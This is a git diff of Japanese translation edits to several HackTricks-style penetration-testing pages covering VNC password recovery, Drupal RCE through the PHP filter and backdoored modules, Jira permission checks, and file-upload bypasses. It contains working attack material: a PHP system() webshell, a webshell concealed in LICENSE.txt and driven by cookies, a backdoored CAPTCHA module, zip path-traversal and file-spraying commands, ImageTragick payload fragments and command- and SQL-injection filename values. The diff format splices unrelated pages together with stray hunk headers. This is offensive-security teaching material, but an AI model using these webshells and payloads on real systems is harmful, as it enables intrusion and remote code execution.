プロトコルを利用して、別のコンピュータとのリモート制御とコラボレーションを可能にする堅牢なグラフィカルデスクトップ共有システムです。VNCを使用すると、ユーザーはキーボードとマウスのイベントを双方向に送信することで、リモートコンピュータとシームレスに対話できます。これにより、リアルタイムでのアクセスが可能になり、ネットワークを介した効率的なリモート支援やコラボレーションが促進されます。 VNCは通常、ポート**5800または5801または5900または5901**を使用します。 ``` @@ -45,12 +45,12 @@ vncviewer [-passwd passwd.txt] ::5901 デフォルトの**パスワードは保存されています**: \~/.vnc/passwd -VNCパスワードを持っていて、それが暗号化されているように見える場合(数バイト、暗号化されたパスワードのように見える場合)、それはおそらく3desで暗号化されています。平文のパスワードは[https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)を使用して取得できます。 +VNCパスワードを持っていて、それが暗号化されているように見える場合(数バイト、暗号化されたパスワードのように)、おそらく3desで暗号化されています。クリアテキストのパスワードは[https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)を使用して取得できます。 ```bash make vncpwd ``` -You can do this because the password used inside 3des to encrypt the plain-text VNC passwords was reversed years ago.\ +この操作が可能なのは、3des内で平文VNCパスワードを暗号化するために使用されたパスワードが数年前に逆転されたからです。\ **Windows**の場合、このツールも使用できます: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\ アクセスを容易にするために、ここにもツールを保存します: @@ -60,9 +60,9 @@ You can do this because the password used inside 3des to encrypt the plain-text * `port:5900 RFB` -
+
-**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_). +**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 {% embed url="https://www.stmcyber.com/careers" %} @@ -74,9 +74,9 @@ GCPハッキングを学び、実践する: 
 古いバージョンのDrupal **(バージョン8以前)** では、管理者としてログインし、**`PHP filter`モジュールを有効にする**ことが可能でした。このモジュールは「埋め込まれたPHPコード/スニペットを評価することを許可します。」しかし、バージョン8以降、このモジュールはデフォルトでインストールされていません。
 {% endhint %}
 
-**phpプラグインがインストールされている必要があります** (_/modules/php_ にアクセスして、**403**が返された場合は、**存在します**。**見つからない**場合は、**phpプラグインはインストールされていません**)
+**phpプラグインがインストールされている必要があります** (_/modules/php_ にアクセスして、**403**が返される場合は、**存在します**。**見つからない**場合は、**phpプラグインはインストールされていません**)
 
 _モジュール_ -> (**チェック**) _PHP Filter_ -> _設定を保存_
 
@@ -35,19 +35,19 @@ _モジュール_ -> (**チェック**) _PHP Filter_ -> _設定を保存_
 ```bash
 curl http://drupal-site.local/node/3
 ```
-## PHPフィルタモジュールのインストール
+## PHPフィルターモジュールのインストール
 
 {% hint style= **`レポート`** > **`利用可能な更新`**に移動します。 -3. **`参照`**をクリックし、ダウンロードしたディレクトリからファイルを選択し、次に**`インストール`**をクリックします。 -4. モジュールがインストールされたら、**`コンテンツ`**をクリックし、Drupal 7の例と同様に**新しい基本ページを作成**します。再度、**`テキストフォーマット`**のドロップダウンから**`PHPコード`を選択**することを忘れないでください。 +3. **`参照`**をクリックし、ダウンロードしたディレクトリからファイルを選択して、次に**`インストール`**をクリックします。 +4. モジュールがインストールされたら、**`コンテンツ`**をクリックし、Drupal 7の例と同様に**新しい基本ページを作成**します。再度、**`テキストフォーマット`ドロップダウンから`PHPコード`を選択**することを忘れないでください。 ## バックドア付きモジュール @@ -55,7 +55,7 @@ curl http://drupal-site.local/node/3 現在のバージョンでは、デフォルトのインストール後にウェブにアクセスするだけでプラグインをインストールすることはできなくなりました。 {% endhint %} -バックドア付きモジュールは、**既存のモジュールにシェルを追加することによって作成できます**。モジュールはdrupal.orgウェブサイトで見つけることができます。[CAPTCHA](https://www.drupal.org/project/captcha)のようなモジュールを選びましょう。下にスクロールして、tar.gzの[アーカイブ](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz)のリンクをコピーします。 +バックドア付きモジュールは、**既存のモジュールにシェルを追加することによって作成できます**。モジュールはdrupal.orgウェブサイトで見つけることができます。例えば、[CAPTCHA](https://www.drupal.org/project/captcha)のようなモジュールを選びましょう。下にスクロールして、tar.gz [アーカイブ](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz)のリンクをコピーします。 * アーカイブをダウンロードし、その内容を抽出します。 ``` @@ -80,16 +80,16 @@ RewriteBase / mv shell.php .htaccess captcha tar cvf captcha.tar.gz captcha/ ``` -* ウェブサイトに**管理者アクセス**があると仮定して、サイドバーの**`管理`**をクリックし、次に**`拡張`**をクリックします。次に、**`新しいモジュールをインストール`**ボタンをクリックすると、インストールページに移動します。例えば、`http://drupal-site.local/admin/modules/install` バックドア付きのCaptchaアーカイブを参照し、**`インストール`**をクリックします。 +* ウェブサイトに**管理者アクセス**があると仮定して、サイドバーの**`管理`**をクリックし、次に**`拡張`**をクリックします。次に、**`新しいモジュールをインストール`**ボタンをクリックすると、インストールページ(例: `http://drupal-site.local/admin/modules/install`)に移動します。バックドア付きのCaptchaアーカイブを参照し、**`インストール`**をクリックします。 * インストールが成功したら、**`/modules/captcha/shell.php`**に移動してコマンドを実行します。 ## 設定同期によるDrupalのバックドア **投稿者** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90) -### パート1 (_メディア_ と _メディアライブラリ_ の有効化) +### パート1(_メディア_と_メディアライブラリ_の有効化) -_拡張_ メニュー (/admin/modules) では、すでにインストールされていると思われるプラグインを有効化できます。デフォルトでは、プラグイン _メディア_ と _メディアライブラリ_ は有効化されていないようなので、有効化しましょう。 +_拡張_メニュー(/admin/modules)では、すでにインストールされていると思われるプラグインを有効化できます。デフォルトでは、プラグイン_メディア_と_メディアライブラリ_は有効化されていないようなので、有効化しましょう。 有効化前: @@ -97,20 +97,20 @@ _拡張_ メニュー (/admin/modules) では、すでにインストールさ 有効化後: -
+
-### パート2 (_設定同期_ 機能の活用) +### パート2(_設定同期_機能の活用) -_設定同期_ 機能を利用して、Drupalの設定エントリをダンプ(エクスポート)し、アップロード(インポート)します: +_設定同期_機能を活用して、Drupalの設定エントリをダンプ(エクスポート)およびアップロード(インポート)します: * /admin/config/development/configuration/single/export * /admin/config/development/configuration/single/import **Patch system.file.yml** -最初のエントリ `allow_insecure_uploads` をパッチすることから始めましょう: +最初のエントリ`allow_insecure_uploads`をパッチすることから始めましょう: ファイル: system.file.yml ``` @@ -138,11 +138,11 @@ allow_insecure_uploads: true ```
-**パッチ field.field.media.document.field\_media\_document.yml** +**Patch field.field.media.document.field\_media\_document.yml** 次に、2番目のエントリ `file_extensions` を以下のようにパッチします: -ファイル: field.field.media.document.field\_media\_document.yml +File: field.field.media.document.field\_media\_document.yml ``` ... @@ -170,7 +170,7 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
-### パート3(機能 _Add Document_ の活用) +### パート3(機能 _ドキュメントの追加_ を活用する) 最後のステップは最も簡単で、2つのサブステップに分かれています。最初は、Apacheディレクティブを活用し、.txtファイルがPHPエンジンによって解釈されるようにするために、.htaccess形式のファイルをアップロードします。2つ目は、ペイロードを含む.txtファイルをアップロードすることです。 @@ -192,17 +192,17 @@ php_flag engine on php_flag engine on ``` -なぜこのトリックはクールなのか? +なぜこのトリックがクールなのか? WebサーバーにWebshell(LICENSE.txtと呼ぶ)をドロップすると、`$_COOKIE`を介してコマンドを送信でき、Webサーバーログにはテキストファイルへの正当なGETリクエストとして表示されます。 なぜWebshellをLICENSE.txtと名付けるのか? -単純に、例えば[core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt)のようなファイルを取ると(これはDrupalコアにすでに存在します)、339行でサイズが17.6 KBのファイルがあり、真ん中に小さなPHPコードのスニペットを追加するのに最適です(ファイルが十分に大きいため)。 +単純に、例えば[core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt)のようなファイルを取ると(これはDrupalコアにすでに存在します)、339行で17.6 KBのサイズのファイルがあり、真ん中に小さなPHPコードのスニペットを追加するのに最適です(ファイルが十分に大きいため)。
-ファイル: 修正されたLICENSE.txt +ファイル: パッチを当てたLICENSE.txt ```txt ... @@ -253,7 +253,7 @@ programs whose distribution conditions are different, write to the author ### Part 4 (interaction with the Webshell) -最後の部分は、Webshell とのインタラクションです。 +最後の部分は、Webshell とのインタラクションで構成されています。 以下のスクリーンショットに示されているように、Webshell に期待されるクッキーが定義されていない場合、Web ブラウザを介してファイルを参照すると、次の結果が得られます。 @@ -263,7 +263,7 @@ programs whose distribution conditions are different, write to the author
-そして、ログに見ることができるように、要求されたのはテキストファイルだけのようです。 +ログに表示されているように、要求されたのはテキストファイルだけのようです。
diff --git a/network-services-pentesting/pentesting-web/jira.md b/network-services-pentesting/pentesting-web/jira.md index 96685fbe7..ae7bfcca8 100644 --- a/network-services-pentesting/pentesting-web/jira.md +++ b/network-services-pentesting/pentesting-web/jira.md @@ -15,17 +15,17 @@ Learn & practice GCP Hacking: {% endhint %} -
+
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_). +もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 {% embed url="https://www.stmcyber.com/careers" %} -## Check Privileges +## 権限の確認 -Jiraでは、**権限は**認証されたユーザーでも認証されていないユーザーでも、エンドポイント`/rest/api/2/mypermissions`または`/rest/api/3/mypermissions`を通じて確認できます。これらのエンドポイントは、ユーザーの現在の権限を明らかにします。**非認証ユーザーが権限を持つ**場合、これは**セキュリティの脆弱性**を示し、**バウンティ**の対象となる可能性があります。同様に、**認証されたユーザーに対する予期しない権限**も**脆弱性**を強調します。 +Jiraでは、**権限は**認証されたユーザーであれ認証されていないユーザーであれ、エンドポイント`/rest/api/2/mypermissions`または`/rest/api/3/mypermissions`を通じて確認できます。これらのエンドポイントは、ユーザーの現在の権限を明らかにします。**非認証ユーザーが権限を持つ**場合、これは**セキュリティの脆弱性**を示し、**バウンティ**の対象となる可能性があります。同様に、**認証されたユーザーに対する予期しない権限**も**脆弱性**を強調します。 -重要な**更新**が**2019年2月1日**に行われ、'mypermissions'エンドポイントに**'permission'パラメータ**を含めることが要求されました。この要件は、照会される権限を指定することにより**セキュリティを強化**することを目的としています: [ここで確認](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) +重要な**更新**が**2019年2月1日**に行われ、'mypermissions'エンドポイントに**'permission'パラメータ**を含めることが求められました。この要件は、照会される権限を指定することによって**セキュリティを強化**することを目的としています:[ここで確認](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) * ADD\_COMMENTS * ADMINISTER @@ -69,7 +69,7 @@ Jiraでは、**権限は**認証されたユーザーでも認証されていな * VIEW\_VOTERS\_AND\_WATCHERS * WORK\_ON\_ISSUES -Example: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS` +例: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS` ```bash #Check non-authenticated privileges curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true' @@ -129,7 +129,7 @@ XSSが見つかった場合、[**このgithubリポジトリ**](https://github.c * **リバースシェル**:またはリバースシェルを取得します。 * **DOMプロキシング**:Confluenceがプライベートネットワーク内にある場合、アクセス権を持つユーザーのブラウザを通じて接続を確立し、例えばサーバーコマンドを実行することが可能です。 -
+
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**(_流暢なポーランド語の読み書きが必要_)。 @@ -145,7 +145,7 @@ GCPハッキングを学び、実践する:HackTricksをサポートする * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! -* **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に、または**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に、または**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 {% endhint %} -
+
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 @@ -62,15 +62,15 @@ GCPハッキングを学び、実践する:AAA.php.png ``` -### コンテンツタイプ、マジックナンバー、圧縮&リサイズのバイパス +### Content-Type、マジックナンバー、圧縮&リサイズのバイパス * **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します:_image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **ワードリスト**:[https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) @@ -86,30 +86,30 @@ AAA<--SNIP 232 A-->AAA.php.png `exiftool -Comment="' >> img.png` -* **圧縮が画像に追加されている場合**、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。ただし、**PLTEチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。 +* 画像に**圧縮**が追加されている場合、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。しかし、**PLTEチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。 * [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php) -* ウェブページは、たとえばPHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用して**画像をリサイズ**することもできます。ただし、**IDATチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。 +* ウェブページが画像を**リサイズ**している場合、たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用している場合、前述の技術は役に立ちません。しかし、**IDATチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。 * [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php) -* 画像のリサイズに耐えるペイロードを作成するための別の技術として、PHP-GD関数`thumbnailImage`を使用します。ただし、**tEXtチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。 +* 画像のリサイズに耐えるペイロードを作成する別の技術として、PHP-GD関数`thumbnailImage`を使用します。しかし、**tEXtチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。 * [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php) -### その他のチェックするトリック +### その他のチェックすべきトリック -* アップロード済みのファイルの**名前を変更**する脆弱性を見つけます(拡張子を変更するため)。 +* すでにアップロードされたファイルの**名前を変更**する脆弱性を見つけます(拡張子を変更するため)。 * **ローカルファイルインクルージョン**の脆弱性を見つけてバックドアを実行します。 * **情報漏洩の可能性**: -1. **同じファイル**を**同時に**何度もアップロードします。 +1. **同じ名前**の**同じファイル**を**複数回**(および**同時に**)アップロードします。 2. **既存のファイル**または**フォルダ**の**名前**でファイルをアップロードします。 -3. **「.」、「..」、または「…」を名前に持つファイル**をアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。 -4. **NTFS**で簡単に削除できないファイル(例:「…:.jpg」)をアップロードします。(Windows) -5. **無効な文字**(例:`|<>*?”`)を名前に持つファイルを**Windows**にアップロードします。(Windows) -6. **予約された**(**禁止された**)**名前**(例:CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9)を持つファイルを**Windows**にアップロードします。 +3. **“.”、 “..”、または “…”**を名前に持つファイルをアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。 +4. **NTFS**で簡単に削除できないファイルをアップロードします(例:**“…:.jpg”**)。(Windows) +5. **無効な文字**(例:`|<>*?”`)を名前に持つファイルを**Windows**にアップロードします。(Windows) +6. **予約された**(**禁止された**)**名前**(例:CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9)を使用してファイルを**Windows**にアップロードします。 * **実行可能ファイル**(.exe)または**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**させることも試みてください。 ### 特殊な拡張子のトリック -**PHPサーバー**にファイルをアップロードしようとしている場合は、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\ -**ASPサーバー**にファイルをアップロードしようとしている場合は、[コードを実行するための**.config**トリックを確認してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。 +**PHPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\ +**ASPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.config**トリックを確認してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。 `.phar`ファイルはJavaの`.jar`のようなもので、PHP用であり、**PHPファイルのように使用**できます(PHPで実行したり、スクリプト内に含めたりすることができます...)。 @@ -125,7 +125,7 @@ JettyサーバーにXMLファイルをアップロードできる場合、[**新 この脆弱性の詳細な調査については、元の研究を確認してください:[uWSGI RCEの悪用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。 -リモートコマンド実行(RCE)脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むために特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、「exec」スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪用に利用できます。 +リモートコマンド実行(RCE)脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むために特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪用に利用できます。 以下は、さまざまなスキームを示す有害な`uwsgi.ini`ファイルの例です: ```ini @@ -151,8 +151,8 @@ uWSGIの設定ファイル解析の緩い性質を理解することが重要で ## **wget File Upload/SSRF Trick** -場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされたファイルの拡張子がホワイトリストに含まれているかを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、**このチェックは回避可能です。**\ -**linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェックを回避**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイルを**"A"\*232+".php"**に**名前変更**します。 +場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされたファイルの拡張子がホワイトリスト内にあるかどうかを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、**このチェックは回避可能です。**\ +**linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェックを回避**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイル名を**"A"\*232+".php"**に**変更**します。 ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -183,7 +183,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= ## ファイルアップロードから他の脆弱性へ -* **filename**を`../../../tmp/lol.png`に設定して**パス・トラバーサル**を試みる +* **filename**を`../../../tmp/lol.png`に設定して**パストラバーサル**を試みる * **filename**を`sleep(10)-- -.jpg`に設定すると、**SQLインジェクション**を達成できるかもしれません * **filename**を``に設定してXSSを達成する * **filename**を`; sleep 10;`に設定してコマンドインジェクションをテストする(他の[コマンドインジェクションのトリックはこちら](../command-injection.md)) @@ -194,10 +194,10 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= * [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**異なるsvgペイロード**を試す\*\*\*\* * [有名な**ImageTrick**脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) * **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。 -* [**XXEとCORS**バイパスをPDF-Adobeアップロードで実行](pdf-upload-xxe-and-cors-bypass.md) +* [PDF-Adobeアップロードによる**XXEとCORS**バイパス](pdf-upload-xxe-and-cors-bypass.md) * 特別に作成されたPDFでXSS: [次のページでは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。 -* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**アンチウイルス**があるかどうかを確認する -* ファイルをアップロードする際に**サイズ制限**があるかどうかを確認する +* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**ウイルス対策ソフト**があるかどうかを確認します +* ファイルをアップロードする際に**サイズ制限**があるかどうかを確認します 以下は、アップロードによって達成できることのトップ10リストです([こちらから](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): @@ -212,7 +212,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 9. **ZIP**: LFI経由のRCE / DoS 10. **PDF / PPTX**: SSRF / BLIND XXE -#### Burp拡張機能 +#### Burp拡張 {% embed url="https://github.com/portswigger/upload-scanner" %} @@ -239,7 +239,7 @@ tar -cvf test.tar symindex.txt 展開中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。この設定が悪意のあるファイルアップロードによるOSレベルのコマンド実行から守ると最初は考えられていましたが、ZIPアーカイブ形式の階層的圧縮サポートとディレクトリトラバーサル機能が悪用される可能性があります。これにより、攻撃者は制限を回避し、ターゲットアプリケーションの展開機能を操作することで安全なアップロードディレクトリから脱出することができます。 -そのようなファイルを作成するための自動化されたエクスプロイトは、[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)で入手可能です。このユーティリティは次のように使用できます: +そのようなファイルを作成するための自動化されたエクスプロイトは、[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)で入手可能です。このユーティリティは次のように使用できます: ```python # Listing available options python2 evilarc.py -h @@ -266,9 +266,9 @@ zip.close() create_zip() ``` -**圧縮を悪用したファイルスプレーイング** +**圧縮を悪用したファイルスプレー** -さらなる詳細は**元の投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +詳細については、**元の投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) 1. **PHPシェルの作成**: PHPコードは、`$_REQUEST`変数を通じて渡されたコマンドを実行するように書かれています。 @@ -279,7 +279,7 @@ $cmd = ($_REQUEST['cmd']); system($cmd); }?> ``` -2. **ファイルスプレーイングと圧縮ファイルの作成**: 複数のファイルが作成され、これらのファイルを含むzipアーカイブが組み立てられます。 +2. **ファイルスプレーと圧縮ファイルの作成**: 複数のファイルが作成され、これらのファイルを含むzipアーカイブが組み立てられます。 ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done @@ -295,7 +295,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -このコンテンツを画像拡張子でアップロードして脆弱性を悪用します**(ImageMagick , 7.0.1-1)**([エクスプロイト](https://www.exploit-db.com/exploits/39767)から) +このコンテンツを画像拡張子でアップロードして脆弱性を悪用します **(ImageMagick , 7.0.1-1)** (元の[エクスプロイト](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 @@ -306,7 +306,7 @@ pop graphic-context PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特定の画像処理操作を効果的に回避できます。PHP-GDの`imagecopyresized`および`imagecopyresampled`関数は、この文脈で特に関連性が高く、画像のリサイズやリサンプリングに一般的に使用されます。埋め込まれたPHPシェルがこれらの操作の影響を受けない能力は、特定のユースケースにおいて重要な利点です。 -この技術の詳細な探求、方法論および潜在的な応用については、次の記事に記載されています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースは、プロセスとその影響について包括的な理解を提供します。 +この技術の詳細な探求、方法論および潜在的な応用については、次の記事に記載されています: ["PNG IDATチャンクにウェブシェルをエンコードする"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースは、プロセスとその影響について包括的な理解を提供します。 詳細情報は: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) @@ -316,7 +316,7 @@ PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特 ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避できる能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが一般的であり、潜在的に有害なフォーマット(例:JS、PHP、またはPharファイル)によるリスクを軽減します。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。 -適応性があるにもかかわらず、ポリグロットには制限があります。たとえば、ポリグロットが同時にPHARファイル(PHp ARchive)とJPEGを具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存する可能性があります。システムが許可される拡張子に厳格である場合、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分かもしれません。 +適応性があるにもかかわらず、ポリグロットには制限もあります。たとえば、ポリグロットが同時にPHARファイル(PHp ARchive)とJPEGを具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存することがあります。システムが許可される拡張子に厳格である場合、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分な場合があります。 詳細情報は: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) @@ -329,9 +329,9 @@ PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特 * [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) * [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -
+
